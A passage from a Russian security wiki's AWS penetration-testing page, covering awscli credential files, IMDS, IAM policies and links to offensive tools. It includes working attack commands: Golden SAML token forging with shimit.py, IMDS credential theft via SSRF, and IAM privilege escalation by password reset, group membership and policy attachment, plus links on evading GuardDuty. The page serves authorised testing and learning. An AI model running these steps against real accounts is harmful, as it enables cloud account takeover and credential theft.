&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Другое ==&lt;br /&gt;
&lt;br /&gt;
=== aws_consoler ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/NetSPI/aws_consoler&lt;br /&gt;
&lt;br /&gt;
== All-In-One ==&lt;br /&gt;
&lt;br /&gt;
=== pacu ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/RhinoSecurityLabs/pacu&lt;br /&gt;
&lt;br /&gt;
=== ScoutSuite ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/nccgroup/ScoutSuite&lt;br /&gt;
&lt;br /&gt;
=== cloudfox ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/BishopFox/cloudfox&lt;br /&gt;
&lt;br /&gt;
= Ссылки =&lt;br /&gt;
&lt;br /&gt;
== Статьи ==&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/hijack-iam-roles-and-avoid-detection/ Hijacking IAM Roles and Avoiding Detection]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/bypass-guardduty-pentest-alerts/ Bypass GuardDuty PenTest Alerts]&lt;br /&gt;
&lt;br /&gt;
[https://frichetten.com/blog/ssm-agent-tomfoolery/ Intercept SSM Agent Communications]&lt;br /&gt;
&lt;br /&gt;
== Лаборатории ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6 Damn Vulnerable Cloud Application]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[http://flaws.cloud Flaws]&lt;br /&gt;
&lt;br /&gt;
[http://flaws2.cloud/ Flaws]&lt;br /&gt;
&lt;br /&gt;
[https://xakep.ru/2022/03/21/htb-stacked/ HackTheBox Stacked Writeup]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RhinoSecurityLabs/cloudgoat CloudGoat]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/nccgroup/sadcloud SadCloud]&lt;br /&gt;
&lt;br /&gt;
[https://www.wellarchitectedlabs.com/security/ AWS Well-Architected Labs]&lt;br /&gt;
&lt;br /&gt;
[https://labs.withsecure.com/publications/attack-detection-fundamentals-2021-aws-lab-1 Attack Detection Fundamentals 2021: AWS - Lab #1]&lt;br /&gt;
&lt;br /&gt;
== Краткие заметки ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/pentesting/pentesting-web/buckets/aws-s3 hacktricks-s3]&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/cloud-security/aws-security hacktricks-aws]&lt;br /&gt;
&lt;br /&gt;
[https://learntocloud.guide/#/phase5/README learntocloud(много ссылок)]&lt;br /&gt;
&lt;br /&gt;
== Книги ==&lt;br /&gt;
&lt;br /&gt;
[https://www.amazon.com/dp/1789136725/ Hands-On AWS Penetration Testing with Kali Linux]&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1210</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1210"/>
				<updated>2022-10-05T22:01:44Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Службы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
